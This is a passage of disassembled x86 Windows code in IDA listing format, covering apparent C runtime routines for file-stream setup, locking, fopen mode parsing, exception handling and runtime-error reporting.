					; sub_40FF38+26p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_40F7E2
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_4139FA
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_413A6F
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: sub_4139CC+1Dj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_413988
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_413A2B
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_413A2B:				; CODE XREF: sub_4139CC+4Bj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx


loc_413A35:				; CODE XREF: sub_4139CC+5Dj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_418606
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A6B
		cmp	[ebp+var_C], al
		jz	short loc_413A67
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_413A67:				; CODE XREF: sub_4139CC+92j
		xor	eax, eax
		jmp	short loc_413A7F
; ---------------------------------------------------------------------------


loc_413A6B:				; CODE XREF: sub_4139CC+8Dj
		movzx	eax, [ebp+var_4]


loc_413A6F:				; CODE XREF: sub_4139CC+2Cj
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_413A7F
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_413A7F:				; CODE XREF: sub_4139CC+9Dj
					; sub_4139CC+AAj
		pop	ebx
		leave
		retn
sub_4139CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A82	proc near		; CODE XREF: sub_4111BA+76p
					; sub_4111BA+82p
		mov	eax, offset off_4238A0
		retn
sub_413A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A88	proc near		; DATA XREF: .vty:0041C238o
		mov	eax, dword_426000
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_413A9C
		mov	eax, 200h
		jmp	short loc_413AA2
; ---------------------------------------------------------------------------


loc_413A9C:				; CODE XREF: sub_413A88+Bj
		cmp	eax, esi
		jge	short loc_413AA7
		mov	eax, esi


loc_413AA2:				; CODE XREF: sub_413A88+12j
		mov	dword_426000, eax


loc_413AA7:				; CODE XREF: sub_413A88+16j
		push	4
		push	eax
		call	sub_412363
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_424FE0, eax
		jnz	short loc_413AD8
		push	4
		push	esi
		mov	dword_426000, esi
		call	sub_412363
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_424FE0, eax
		jnz	short loc_413AD8
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413AD8:				; CODE XREF: sub_413A88+30j
					; sub_413A88+49j
		xor	edx, edx
		mov	ecx, offset off_4238A0
		jmp	short loc_413AE6
; ---------------------------------------------------------------------------


loc_413AE1:				; CODE XREF: sub_413A88+6Dj
		mov	eax, dword_424FE0


loc_413AE6:				; CODE XREF: sub_413A88+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_423B20
		jl	short loc_413AE1
		push	0FFFFFFFEh
		pop	esi
		xor	edx, edx
		mov	ecx, offset dword_4238B0
		push	edi


loc_413B02:				; CODE XREF: sub_413A88+AAj
		mov	edi, edx
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		mov	eax, [edi+eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B26
		cmp	eax, esi
		jz	short loc_413B26
		test	eax, eax
		jnz	short loc_413B28


loc_413B26:				; CODE XREF: sub_413A88+94j
					; sub_413A88+98j
		mov	[ecx], esi


loc_413B28:				; CODE XREF: sub_413A88+9Cj
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_423910
		jl	short loc_413B02
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_413A88	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B39	proc near		; DATA XREF: .vty:0041C250o
		call	sub_414C5C
		cmp	byte_4243F0, 0
		jz	short loc_413B4C
		call	sub_418C8C


loc_413B4C:				; CODE XREF: sub_413B39+Cj
		push	dword_424FE0
		call	sub_41112C
		pop	ecx
		retn
sub_413B39	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B59	proc near		; CODE XREF: sub_40FC7C+4Ep
					; sub_40FD7C+50p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_4238A0
		cmp	eax, ecx
		jb	short loc_413B7D
		cmp	eax, offset dword_423B00
		ja	short loc_413B7D
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_416DA6
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_413B7D:				; CODE XREF: sub_413B59+Bj
					; sub_413B59+12j
		add	eax, 20h
		push	eax
		call	dword_41C070	; RtlEnterCriticalSection
		retn
sub_413B59	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B88	proc near		; CODE XREF: sub_413E9F+66p
					; sub_414B82+46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_413B9C
		add	eax, 10h
		push	eax
		call	sub_416DA6
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_413B9C:				; CODE XREF: sub_413B88+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_41C070	; RtlEnterCriticalSection
		retn
sub_413B88	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BAB	proc near		; CODE XREF: sub_40FA5C+3p
					; sub_40FCFF+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_4238A0
		cmp	eax, ecx
		jb	short loc_413BCF
		cmp	eax, offset dword_423B00
		ja	short loc_413BCF
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_416CCE
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_413BCF:				; CODE XREF: sub_413BAB+Bj
					; sub_413BAB+12j
		add	eax, 20h
		push	eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		retn
sub_413BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BDA	proc near		; CODE XREF: sub_413E9F+7Dp
					; sub_414C24+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_413BEE
		add	eax, 10h
		push	eax
		call	sub_416CCE
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_413BEE:				; CODE XREF: sub_413BDA+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		retn
sub_413BDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BFD	proc near		; CODE XREF: sub_40F9A2+9Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_424D74
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_413C1E
; ---------------------------------------------------------------------------


loc_413C1D:				; CODE XREF: sub_413BFD+24j
		inc	esi


loc_413C1E:				; CODE XREF: sub_413BFD+1Ej
		cmp	byte ptr [esi],	20h
		jz	short loc_413C1D
		mov	al, [esi]
		cmp	al, 61h
		jz	short loc_413C62
		cmp	al, 72h
		jz	short loc_413C59
		cmp	al, 77h
		jz	short loc_413C50
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		xor	eax, eax
		jmp	loc_413E9B
; ---------------------------------------------------------------------------


loc_413C50:				; CODE XREF: sub_413BFD+32j
		mov	[ebp+arg_4], 301h
		jmp	short loc_413C69
; ---------------------------------------------------------------------------


loc_413C59:				; CODE XREF: sub_413BFD+2Ej
		or	[ebp+var_4], 1
		mov	[ebp+arg_4], ebx
		jmp	short loc_413C6D
; ---------------------------------------------------------------------------


loc_413C62:				; CODE XREF: sub_413BFD+2Aj
		mov	[ebp+arg_4], 109h


loc_413C69:				; CODE XREF: sub_413BFD+5Aj
		or	[ebp+var_4], 2


loc_413C6D:				; CODE XREF: sub_413BFD+63j
		xor	ecx, ecx
		inc	ecx
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		push	edi
		jz	loc_413E35
		mov	edx, 80h
		mov	edi, 4000h


loc_413C86:				; CODE XREF: sub_413BFD+1B6j
		cmp	ecx, ebx
		jz	loc_413DB9
		movsx	eax, al
		cmp	eax, 53h
		jg	loc_413D3C
		jz	loc_413D2A
		sub	eax, 20h
		jz	loc_413DAE
		sub	eax, 0Bh
		jz	short loc_413D04
		dec	eax
		jz	short loc_413CF8
		sub	eax, 18h
		jz	short loc_413CE5
		sub	eax, 0Ah
		jz	short loc_413CDD
		sub	eax, 4
		jnz	loc_413E3E
		cmp	[ebp+var_8], ebx
		jnz	loc_413DA3
		or	[ebp+arg_4], 10h
		mov	[ebp+var_8], 1
		jmp	loc_413DAE
; ---------------------------------------------------------------------------


loc_413CDD:				; CODE XREF: sub_413BFD+BCj
		or	[ebp+arg_4], edx
		jmp	loc_413DAE
; ---------------------------------------------------------------------------


loc_413CE5:				; CODE XREF: sub_413BFD+B7j
		test	byte ptr [ebp+arg_4], 40h
		jnz	loc_413DA3
		or	[ebp+arg_4], 40h
		jmp	loc_413DAE
; ---------------------------------------------------------------------------


loc_413CF8:				; CODE XREF: sub_413BFD+B2j
		mov	[ebp+var_10], 1
		jmp	loc_413DA3
; ---------------------------------------------------------------------------


loc_413D04:				; CODE XREF: sub_413BFD+AFj
		test	byte ptr [ebp+arg_4], 2
		jnz	loc_413DA3
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFFFFEh
		or	eax, 2
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFFFFCh
		or	eax, edx
		mov	[ebp+var_4], eax
		jmp	loc_413DAE
; ---------------------------------------------------------------------------


loc_413D2A:				; CODE XREF: sub_413BFD+9Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_413DA3
		or	[ebp+arg_4], 20h
		mov	[ebp+var_8], 1
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413D3C:				; CODE XREF: sub_413BFD+97j
		sub	eax, 54h
		jz	short loc_413D9B
		sub	eax, 0Eh
		jz	short loc_413D8A
		dec	eax
		jz	short loc_413D79
		sub	eax, 0Bh
		jz	short loc_413D64
		sub	eax, 6
		jnz	loc_413E3E
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_413DA3
		or	[ebp+arg_4], edi
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413D64:				; CODE XREF: sub_413BFD+14Fj
		cmp	[ebp+var_C], ebx
		jnz	short loc_413DA3
		and	[ebp+var_4], 0FFFFBFFFh
		mov	[ebp+var_C], 1
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413D79:				; CODE XREF: sub_413BFD+14Aj
		cmp	[ebp+var_C], ebx
		jnz	short loc_413DA3
		or	[ebp+var_4], edi
		mov	[ebp+var_C], 1
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413D8A:				; CODE XREF: sub_413BFD+147j
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_413DA3
		or	[ebp+arg_4], 8000h
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413D9B:				; CODE XREF: sub_413BFD+142j
		test	word ptr [ebp+arg_4], 1000h
		jz	short loc_413DA7


loc_413DA3:				; CODE XREF: sub_413BFD+CAj
					; sub_413BFD+ECj ...
		xor	ecx, ecx
		jmp	short loc_413DAE
; ---------------------------------------------------------------------------


loc_413DA7:				; CODE XREF: sub_413BFD+1A4j
		or	[ebp+arg_4], 1000h


loc_413DAE:				; CODE XREF: sub_413BFD+A6j
					; sub_413BFD+DBj ...
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		jnz	loc_413C86


loc_413DB9:				; CODE XREF: sub_413BFD+8Bj
		cmp	[ebp+var_10], ebx
		jz	short loc_413E35
		jmp	short loc_413DC1
; ---------------------------------------------------------------------------


loc_413DC0:				; CODE XREF: sub_413BFD+1C7j
		inc	esi


loc_413DC1:				; CODE XREF: sub_413BFD+1C1j
		cmp	byte ptr [esi],	20h
		jz	short loc_413DC0
		push	4
		push	esi
		push	offset dword_41C820
		call	sub_4197E9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413E3E
		add	esi, 4
		push	offset dword_41C828
		push	esi
		call	sub_41966D
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_413DFA
		add	esi, 5
		or	[ebp+arg_4], 40000h
		jmp	short loc_413E35
; ---------------------------------------------------------------------------


loc_413DFA:				; CODE XREF: sub_413BFD+1EFj
		push	offset dword_41C830
		push	esi
		call	sub_41966D
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_413E17
		add	esi, 8
		or	[ebp+arg_4], 20000h
		jmp	short loc_413E35
; ---------------------------------------------------------------------------


loc_413E17:				; CODE XREF: sub_413BFD+20Cj
		push	offset aUnicode	; "UNICODE"
		push	esi
		call	sub_41966D
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_413E3E
		add	esi, 7
		or	[ebp+arg_4], 10000h
		jmp	short loc_413E35
; ---------------------------------------------------------------------------


loc_413E34:				; CODE XREF: sub_413BFD+23Bj
		inc	esi


loc_413E35:				; CODE XREF: sub_413BFD+79j
					; sub_413BFD+1BFj ...
		cmp	byte ptr [esi],	20h
		jz	short loc_413E34
		cmp	[esi], bl
		jz	short loc_413E58


loc_413E3E:				; CODE XREF: sub_413BFD+C1j
					; sub_413BFD+154j ...
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_413E76
; ---------------------------------------------------------------------------


loc_413E58:				; CODE XREF: sub_413BFD+23Fj
		push	180h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	sub_419435
		add	esp, 14h
		test	eax, eax
		jz	short loc_413E7A


loc_413E76:				; CODE XREF: sub_413BFD+259j
		xor	eax, eax
		jmp	short loc_413E9A
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413BFD+277j
		mov	eax, [ebp+arg_C]
		inc	dword_42444C
		mov	ecx, [ebp+var_4]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_413E9A:				; CODE XREF: sub_413BFD+27Bj
		pop	edi


loc_413E9B:				; CODE XREF: sub_413BFD+4Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_413BFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E9F	proc near		; CODE XREF: sub_40F9A2+54p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_41FA90
		call	__SEH_prolog4
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi


loc_413EBF:				; CODE XREF: sub_413E9F+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_426000
		jge	loc_413F8F
		mov	eax, dword_424FE0
		lea	eax, [eax+esi*4]
		cmp	[eax], ebx
		jz	short loc_413F2A
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_413F23
		lea	eax, [esi-3]
		cmp	eax, 10h
		ja	short loc_413EFC
		lea	eax, [esi+10h]
		push	eax
		call	sub_416CE3
		pop	ecx
		test	eax, eax
		jz	loc_413F8F


loc_413EFC:				; CODE XREF: sub_413E9F+49j
		mov	eax, dword_424FE0
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_413B88
		pop	ecx
		pop	ecx
		mov	eax, dword_424FE0
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_413F26
		push	eax
		push	esi
		call	sub_413BDA
		pop	ecx
		pop	ecx


loc_413F23:				; CODE XREF: sub_413E9F+41j
		inc	esi
		jmp	short loc_413EBF
; ---------------------------------------------------------------------------


loc_413F26:				; CODE XREF: sub_413E9F+79j
		mov	edi, eax
		jmp	short loc_413F8C
; ---------------------------------------------------------------------------


loc_413F2A:				; CODE XREF: sub_413E9F+39j
		shl	esi, 2
		push	38h
		call	sub_412323
		pop	ecx
		mov	ecx, dword_424FE0
		mov	[esi+ecx], eax
		mov	eax, dword_424FE0
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_413F8F
		push	0FA0h
		mov	eax, [eax]
		add	eax, 20h
		push	eax
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_424FE0
		jnz	short loc_413F77
		push	dword ptr [esi+eax]
		call	sub_41112C
		pop	ecx
		mov	eax, dword_424FE0
		mov	[esi+eax], ebx
		jmp	short loc_413F8F
; ---------------------------------------------------------------------------


loc_413F77:				; CODE XREF: sub_413E9F+C3j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_41C070	; RtlEnterCriticalSection
		mov	eax, dword_424FE0
		mov	edi, [esi+eax]


loc_413F8C:				; CODE XREF: sub_413E9F+89j
		mov	[ebp+var_1C], edi


loc_413F8F:				; CODE XREF: sub_413E9F+29j
					; sub_413E9F+57j ...
		cmp	edi, ebx
		jz	short loc_413FA5
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh


loc_413FA5:				; CODE XREF: sub_413E9F+F2j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_413FBC
		mov	eax, edi
		call	__SEH_epilog4
		retn
sub_413E9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FB9	proc near		; DATA XREF: .vty:0041FAA8o
		mov	edi, [ebp-1Ch]
sub_413FB9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413FBC	proc near		; CODE XREF: sub_413E9F+10Dp
		push	1
		call	sub_416CCE
		pop	ecx
		retn
sub_413FBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_413FC8	proc near		; CODE XREF: sub_40F9A2+8Ap
					; sub_413FC8+BDp ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_414058
		push	large dword ptr	fs:0
		mov	eax, dword_4231C4
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp


loc_413FFA:				; CODE XREF: sub_413FC8+64j
					; sub_413FC8+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_41404A
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_41401C
		cmp	esi, edx
		jbe	short loc_41404A


loc_41401C:				; CODE XREF: sub_413FC8+4Ej
		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_413FFA
		push	101h
		mov	eax, [ebx+8]
		call	sub_419915
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_419934
		jmp	short loc_413FFA
; ---------------------------------------------------------------------------


loc_41404A:				; CODE XREF: sub_413FC8+45j
					; sub_413FC8+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_414058:				; DATA XREF: sub_413FC8+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41409D
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_410BCD
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_413FC8
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41409D:				; CODE XREF: sub_413FC8+A0j
		retn
sub_413FC8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
		call	sub_413FC8
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4140BA	proc near		; CODE XREF: sub_412800+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4140BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412800


loc_4140D1:				; CODE XREF: sub_412800+170j
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_419915
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
; END OF FUNCTION CHUNK	FOR sub_412800

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140EA	proc near		; CODE XREF: sub_412800+11Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_4140FF
		push	ecx
		call	sub_41AE3E	; RtlUnwind


loc_4140FF:				; DATA XREF: sub_4140EA+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4140EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414104	proc near		; CODE XREF: sub_412800+137p
					; sub_412800+18Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]
		call	sub_413FC8
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_414104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_41411B	proc near		; CODE XREF: sub_40FB38+25j
					; sub_416A48:loc_416A76p

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		test	byte ptr dword_423B20, 1
		push	esi
		jz	short loc_414148
		push	0Ah
		call	sub_41422C
		pop	ecx


loc_414148:				; CODE XREF: sub_41411B+23j
		call	sub_4180EB
		test	eax, eax
		jz	short loc_414159
		push	16h
		call	sub_4180F8
		pop	ecx


loc_414159:				; CODE XREF: sub_41411B+34j
		test	byte ptr dword_423B20, 2
		jz	loc_414206
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40DD10
		lea	eax, [ebp+2A8h+var_328]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		push	0
		mov	[ebp+2A8h+var_328], 40000015h
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	dword_41C110	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	dword_41C10C	; UnhandledExceptionFilter


loc_414206:				; CODE XREF: sub_41411B+45j
		push	3
		call	sub_412726
		int	3		; Trap to Debugger


loc_41420E:				; CODE XREF: sub_40FB38+1Dp
		mov	ecx, [esp+338h+var_5D8]
		mov	eax, dword_423B20
		mov	edx, [esp+338h+var_5DC]
		and	edx, [esp+338h+var_5D8]
		not	ecx
		and	ecx, eax
		or	ecx, edx
		mov	dword_423B20, ecx
		retn
sub_41411B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41422C	proc near		; CODE XREF: sub_40FB38+14p
					; sub_41056D+12p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi


loc_414238:				; CODE XREF: sub_41422C+19j
		cmp	ebx, dword_423B28[edi*8]
		jz	short loc_414247
		inc	edi
		cmp	edi, 17h
		jl	short loc_414238


loc_414247:				; CODE XREF: sub_41422C+13j
		cmp	edi, 17h
		jnb	loc_4143C7
		push	ebp
		push	3
		call	sub_419AD5
		cmp	eax, 1
		pop	ecx
		jz	loc_414393
		push	3
		call	sub_419AD5
		test	eax, eax
		pop	ecx
		jnz	short loc_41427B
		cmp	dword_4231A0, 1
		jz	loc_414393


loc_41427B:				; CODE XREF: sub_41422C+40j
		cmp	ebx, 0FCh
		jz	loc_4143C6
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	ebp, offset dword_424450
		push	ebp
		call	sub_410FB5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4142B1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h


loc_4142B1:				; CODE XREF: sub_41422C+76j
		push	104h
		mov	esi, offset byte_424469
		push	esi
		push	0
		mov	byte_42456D, 0
		call	dword_41C0C0	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4142F5
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_410FB5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4142F5
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40DBDC
		add	esp, 14h


